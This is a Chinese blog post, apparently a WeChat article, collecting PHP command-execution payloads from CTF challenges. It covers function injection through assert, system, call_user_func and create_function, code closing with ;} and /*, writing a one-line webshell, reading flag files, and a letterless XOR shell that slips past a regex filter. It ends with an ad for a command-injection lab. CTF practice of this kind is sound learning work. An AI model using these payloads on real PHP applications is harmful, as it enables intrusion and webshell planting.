点击蓝字
关注我们
前言代码审计总要遇到命令执行或者说RCE,打CTF的过程中难免不会碰见,毕竟PHP是世界上最好的语言,总结一下
命令执行函数 E.g.1
传入参数c和d,array_map函数作用将**作为函数,array**作为参数,构造paylaod
?c=assert&d=system(%27ls%27);
E.g.2
create_function 函数会创建一个匿名函数(lambda
样式),在第一个echo
中显示出名字,并在第二个echo
语句中执行了此函数。
$b = create_function('',$a);
这里$a为函数,' '为参数
那么可以看作为
function lambda(){
echo ' ' ;
}
传入payload
b= ;}phpinfo();/*
在function函数中即
function lambda(){
echo ' ' ;}phpinfo();/*
}
后面的内容注释掉了,即执行命令
没什么特别之处,assert直接作为函数执行,payload:
?b=system(%27ls;%27)
E.g.5
call_user_func()函数的特点,知道后面的后面的为参数,前面的a为函数即可
payload:
?b=system&c=whoami
E.g.6
payload:
?b=assert&c=system(%27whoami%27);
E.g.7
传入参数a和b,一个作为函数执行,一个做位参数,构造payload:
?a=assert&b=system(%27ls%27)
E.g.8
一句话木马有没有很熟悉,直接get方式传参给b即可,payload:
?b=system("ls");
E.g.9
基本上属于3的内容加强版,重点就是需要进行闭合,,代码变多了,payload没有出入,重点还是再**$code**的位置
payload:
?a=1;}system(%27ls%27);/*
E.g.10
属于加强版本,**$sort_function的内容进行闭合,也就是sort_by**的参数值要实现闭合,构造payload:
?sort_by=%27"]);}system(%27whoami%27);/*
虽然加了正则,但是并没有什么卵用,假把式,payload:
?c=system(%27ls%27);
E.g.12
payload
?a=%20>2.php
一句话木马写入2.php
也有其它解法直接进行命令执行。
E.g.13
看到echo以及传入的字符串,方法类似于上面的一道
?c=cat%20flag.php>3.txt
直接访问3.txt即可,或者
?c=cat%203.txt
E.g.16
payload:
?c=cat%20flag.php
E.g.17
payload
?c=cat%20flag.php
E.g.18
payload
?c=cat%20flag.php
E.g.19 无字母shell
绕过正则,传入的参数中不能含有大小写字母以及数字,使用异或的当时绕过正则即可
no.flag中提示了flag在getflag()方法中,那么自然需要构造payload去调用getflag()方法,需要参数长度小于40且绕过正则,那么可以设想一下
function getflag(){
xxxxxxxxxxxxxxxx
}
@eval($code);
函数的调用就是类似于上面的过程,那么eval在执行的过程中并不能直接执行,参考上面的题那么我传入的的参数的形式为_GET[]且需要调用**getFlag()**方法,因为考虑到需要无字母,所以结合异或,那么payload就是下面的内容:
?code=${"{{{"^"?/"}[""^"?"]();&_=getFlag
或者
?code=$="`{{{"^"?/";${$}_;&_=getFlag
这里
//_GET 的变形无字母shell
$_="`{{{"^"?/";
大佬请绕路,如有错误欢迎师傅们指出。
本实验主要介绍了Command-Injection实验,通过本实验的学习,你能够深入理解命令行注入工作原理,建立独立思考问题的能力。
https://www.hetianlab.com/expc.do?ce=c9246cb4-e33e-4528-84d5-b7636ea753c1&pk_campaign=weixin-wemedia#stu
戳“阅读原文”体验靶场实操